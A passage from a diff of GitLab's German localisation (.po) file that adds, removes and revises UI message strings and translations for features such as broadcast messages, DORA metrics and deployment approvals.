msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr "Persönliche Projekte werden verlassen"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Persönliche Projekte, Gruppen- und Benutzerhistorie werden intakt gelassen"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Quote der CI/CD-Minuten"
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -3668,7 +3710,7 @@ msgid "AlertManagement|Incident"
msgstr ""
msgid "AlertManagement|Key"
-msgstr ""
+msgstr "Schlüssel"
msgid "AlertManagement|Metrics"
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr "Beende den Kommentar mit %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Anwendung"
@@ -4846,9 +4885,6 @@ msgstr "Siehe %{linkStart}Passwortrichtlinien%{linkEnd}."
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr "%{link} bearbeiten"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7117,7 +7168,7 @@ msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cann
msgstr ""
msgid "Branches|Filter by branch name"
-msgstr "Nach Zweignamen filtern"
+msgstr "Nach Branch-Namen filtern"
msgid "Branches|Merged into %{default_branch}"
msgstr "In %{default_branch} zusammengeführt"
@@ -7221,9 +7272,93 @@ msgstr "Broadcast-Nachricht wurde erfolgreich aktualisiert."
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Verzeichnis durchsuchen"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "Ãœber eine interne ID kann nicht auf einen Gruppen-Milestone verwiesen werden!"
@@ -7931,20 +8069,17 @@ msgstr "Ändere dein Passwort"
msgid "Change your password or recover your current one"
msgstr "Ändere dein Passwort oder stelle dein aktuelles wieder her"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-Pick"
msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
-msgstr "GitLab erstellt einen Branch in deinem Fork und startet eine Merge-Anfrage."
+msgstr "GitLab erstellt einen Branch in deinem Fork und startet ein Merge Request."
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Neue Gruppe erstellen"
@@ -8379,12 +8517,6 @@ msgstr "Untergeordnet"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "Untergeordnetes Epic existiert nicht."
-
-msgid "Child epic doesn't exist."
-msgstr "Untergeordnetes Epic existiert nicht."
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr "Status"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Typ"
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Zum Erweitern klicken."
@@ -8795,12 +8933,18 @@ msgstr "Geschlossene Tickets"
msgid "Closed this %{quick_action_target}."
msgstr "Dieses %{quick_action_target} wurde geschlossen."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Schließt dieses %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Jedes neue Google Cloud Platform-Konto (GCP-Konto) erhält 300 $ Guthaben bei %{sign_up_link}. In Zusammenarbeit mit Google kann GitLab zusätzlich 200 $ für neue und bestehende GCP-Konten anbieten, um mit GitLabs Integration der Google Kubernetes-Engine zu beginnen."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-Integration"
@@ -9969,6 +10098,9 @@ msgstr "Keine zugehörigen Merge-Requests gefunden"
msgid "Committed by"
msgstr "Committed von"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Community-Forum"
@@ -10860,6 +10992,9 @@ msgstr "Bearbeitung fortsetzen"
msgid "Continue to the next step"
msgstr "Fahre mit dem nächsten Schritt fort"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Kontinuierliche Integration und Bereitstellung"
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11386,7 +11524,7 @@ msgid "Create label"
msgstr ""
msgid "Create list"
-msgstr ""
+msgstr "Liste erstellen"
msgid "Create lists from labels. Issues with that label appear in that list."
msgstr "Erstelle Listen anhand von Labels. Tickets mit diesem Label werden in dieser Liste angezeigt."
@@ -11698,7 +11836,7 @@ msgid "Created date"
msgstr ""
msgid "Created issue %{issueLink}"
-msgstr ""
+msgstr "Ticket %{issueLink} erstellt"
msgid "Created issue %{issueLink} at %{projectLink}"
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "Mediane Zeit, in der ein Incident in einer Produktionsumgebung im angegebenen Zeitraum offen war."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Anzahl der Vorfälle geteilt durch die Anzahl der Bereitstellungen in einer Produktionsumgebung im angegebenen Zeitraum."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Prozentsatz fehlgeschlagener Bereitstellungen"
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Alle"
msgid "DashboardProjects|Personal"
msgstr "Persönliche"
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13433,7 +13609,7 @@ msgid "DeployBoards|To see deployment progress for your environments, make sure
msgstr ""
msgid "DeployBoard|Kubernetes Pods"
-msgstr ""
+msgstr "Kubernetes-Pods"
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "Zugriffstoken ist %{token_in_code_tag}"
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr "Themen erkunden"
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,18 +17744,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "Format: %{dateFormat}"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Fehler in deiner .gitlab-ci.yml gefunden:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "GPG-Schlüssel"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr "Erste Schritte mit Releases"
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18535,7 +18714,7 @@ msgid "GitLab version"
msgstr ""
msgid "GitLab will create a branch in your fork and start a merge request."
-msgstr "GitLab erstellt einen Branch in deinem Fork und startet eine Merge-Anfrage."
+msgstr "GitLab erstellt einen Branch in deinem Fork und startet ein Merge Request."
msgid "GitLab will enforce this limit in the future. If you are over %{free_user_limit} user when enforcement begins, your namespace will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your namespace to %{free_user_limit} user or less or purchase a paid tier."
msgid_plural "GitLab will enforce this limit in the future. If you are over %{free_user_limit} users when enforcement begins, your namespace will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your namespace to %{free_user_limit} users or less or purchase a paid tier."
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "Projekte"
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "GitLab durchsuchen"
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr "Gruppen sind die beste Möglichkeit, mehrere Projekte und Mitglieder zu
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Wenn du deine Projekte in einer Gruppe organisierst, funktioniert dies wie ein Ordner."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Keine Gruppen gefunden"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "Keine Untergruppen oder Projekte."
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Gruppen von einer anderen GitLab Instanz importieren"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr "Nicht alle zugehörigen Objekte werden migriert. %{docs_link_start}Weite
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Bitte gebe die GitLab-Quell-URL ein."
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "Gebe Anmeldedaten für eine andere Instanz von GitLab an, um deine Gruppen direkt zu importieren."
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "Diese Funktion ist veraltet und wurde durch %{docs_link_start}Gruppenmigration%{docs_link_end} ersetzt."
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "Wenn keine der Optionen funktioniert, wende dich an einen GitLab-Administrator."
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr "Wenn du GitHub verwendest, siehst du den Pipeline-Status für deine Comm
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -20999,7 +21244,7 @@ msgid "Improve quality with test cases"
msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
-msgstr "Im Falle einer Pull-Spiegelung ist Ihr Benutzer der Autor aller Ereignisse im Aktivitäts-Feed, die das Ergebnis einer Aktualisierung sind, wie z. B. das Erstellen neuer Zweige oder das Pushen neuer Commits an vorhandene Zweige."
+msgstr "Im Falle einer Pull-Spiegelung bist Du Autor:in aller Aktivitäts-Ereignisse, die ein Aktualisierungsergebnis sind, wie z. B. das Erstellen neuer Branches oder das Pushen neuer Commits auf vorhandene Branches."
msgid "In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name."
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr "Einblicke"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,8 +22313,17 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
-msgstr "Eine Zusammenführungsanforderung wird erstellt, aktualisiert oder zusammengeführt"
+msgstr "Ein Merge Request wird erstellt, aktualisiert oder ge-merge-t"
+
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -22995,7 +23252,7 @@ msgid "IssueTracker|Use a custom issue tracker that is not in the integration li
msgstr ""
msgid "Issues"
-msgstr ""
+msgstr "Tickets"
msgid "Issues Rate Limits"
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Zeitüberschreitung beim Erstellen des Kubernetes-Clusters; %{timeout}"
-
